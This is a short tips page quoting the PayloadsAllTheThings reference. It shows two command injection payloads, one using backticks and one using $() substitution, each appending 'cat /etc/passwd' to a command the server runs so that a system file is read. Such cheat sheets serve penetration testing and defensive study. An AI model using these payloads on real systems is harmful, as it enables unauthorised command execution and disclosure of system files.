Command Injection: Inside A Command

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • Command injection using backticks.

    bash
    original_cmd_by_server `cat /etc/passwd`
  • Command injection using substitution

    bash
    original_cmd_by_server $(cat /etc/passwd)

Comments

No comments yet.